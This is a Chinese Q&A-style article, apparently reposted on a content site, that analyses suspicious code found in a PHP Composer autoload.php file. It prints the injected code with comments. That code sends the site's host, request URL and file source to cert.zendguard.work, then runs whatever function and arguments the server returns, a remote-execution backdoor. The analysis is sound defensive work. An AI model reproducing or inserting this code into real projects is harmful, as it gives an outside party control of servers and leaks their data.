卡卷网
当前位置:卡卷网 / 每日看点 / 正文

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?

作者:卡卷网发布时间:2024-12-09 14:12浏览数量:88次评论数量:0次

是中毒了吗?

嘘~ 别出声,跟我来......

干啥?去哪?

这儿大神太多,我不好意思说,咱俩悄悄滴...... 我有笨办法......

开始~

#1. 关于域名 zendguard.work

通过 whoxy 检索,确实查不到什么有用的信息:

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第1张

  1. 注册商:NameCheap, Inc.,一家美国的域名注册及服务器托管商;
  2. 域名所有者申请了隐私保护;
  3. 冰岛。

定位 IP 的话,在这儿:

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第2张

这确实是个风险因素,按一般人的逻辑,你要正经做生意(敢起 zendguard 这么 “酷” 的名字......),犯得着藏着掖着嘛?

但这个域名背后是不是一定蹲着个 “坏蛋”,不好说。

如果路子野,也许可以试着联系 NameCheap。

#2. 关于 “奇怪的内容”

我笨,所以要一行一行分析这些 “奇怪的代码” 都干了什么......

先看整体:

<?php //--- 第一次启动,必然访问 zendguard.work,然后取回点什么,赋值给 $cert if( defined("SITE_") ){ $cert = false; } else { //访问 zendguard.work //赋值 } //--- 准备工作做完了,后面不用再访问 zendguard.work,设置个标志 !defined("SITE_") && @define("SITE_", 1); //--- 不论是做好事还是做坏事,反正它开始做了 if($cert != false) { //干点什么 }

那它访问 zendguard.work 的时候干什么了呢?

$cert = @file_get_contents( //--- 拼了这么一个地址 http://cert.zendguard.work/sign/HTTP_HOST //--- 此时,非要说“暴露”了什么,那就是这个 HTTP_HOST,比如 localhost:8080,www.abc.com //--- 但往好里想的话,对面可能只是拿 HTTP_HOST 当“用户名”,仅此而已 'http://cert.zendguard.work/sig' . 'n/' . @$_SERVER["HTTP_HOST"], 0 , //--- 访问 zendguard.work 的时候,模拟 POST 发送了点儿什么 stream_context_create( array( "http" => array( "ignore_errors" => true, "timeout" => (isset($_REQUEST["T0o"]) ? intval($_REQUEST["T0o"]) : (isset($_SERVER["HTTP_T0O"]) ? intval($_SERVER["HTTP_T0O"]) : 1)), "method" => "POST", "header" => "Contet-Type: application/x-www-form-urlencoded", "content" => http_build_query( //--- 以上都是些有的没的,重点看下面 array( //--- 这里把你完整的 URI 取出来了,比如 http://www.abc.com/admin/index.php "url" => ((isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "no" ? "https" : "http") . "://" . @$_SERVER["HTTP_HOST"] . @$_SERVER["REQUEST_URI"]), //--- 这里拿了物理路径... //--- 然后,把该文件的源码直接发了 "src" => file_exists(__FILE__) ? file_get_contents(__FILE__) : "" ) ) ) ) ) );

至此,你的 HTTP_HOST,REQUEST_URI,以及这个文件的源码,都被发给 zendguard.work 了,然后 zendguard.work 响应了一些什么,存在了 $cert 里。

好像也没啥......(乐观)

最后看关键的:

//--- 开始干活 if($cert != false) { $cert = @json_decode($cert, 1); if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"]) && isset($cert["a3"])) { $cert["f"]($cert["a1"], $cert["a2"], $cert["a3"]); } else if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"])){ $cert["f"]($cert["a1"], $cert["a2"]); } else if(isset($cert["f"]) && isset($cert["a1"])){ $cert["f"]($cert["a1"]); } else if(isset($cert["f"])){ $cert["f"](); } }

为了直观,我把代码换一种写法:

//假设你的项目文件中存在以下代码(小偷已经进家了) //可能是被黑掉的,也可能是你主动安装框架、库、扩展时引入的 function 小偷(是否动手, 建议偷什么, 不能偷什么){ //do something... } //zendguard.work 开始下指令了 //1.通知小偷,该干活了,可以偷彩电,千万别碰洗衣机 if(小偷 && 动手 && 彩电 && 洗衣机){ 小偷(动手, 彩电, 洗衣机); } //2.通知小偷,该干活了,建议偷彩电,但其他的也不是不行 else if(小偷 && 动手 && 彩电){ 小偷(动手, 彩电); } //3. 通知小偷,该干活了,全都要 else if(小偷 && 动手){ 小偷(动手); } //4. 通知小偷,待命 else if(小偷){ 小偷(); } //5. 小偷没进家,放他一马

这是往坏里想......

往好里想的话:

//假设你的项目中存在以下代码 function 售后服务(到期没, 要不要通知他一下, 要不要断了他的服务){ //do something... }

这么看,也不是不行......

唉......

我这废了半天劲,还不如你直接 log 一下 $cert 里面到底存了啥,哪怕明文 var_dump 一下呢。

然后,如果 $cert["f"] = “张三”,你再去源码里搜 “张三” 嘛......

最后叠个甲,我不搞 PHP,说错了别怪我......

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第3张

END

免责声明:本文由卡卷网编辑并发布,但不代表本站的观点和立场,只提供分享给大家。

卡卷网

卡卷网 主页 联系他吧

请记住:卡卷网 Www.Kajuan.Net

欢迎 发表评论:

请填写验证码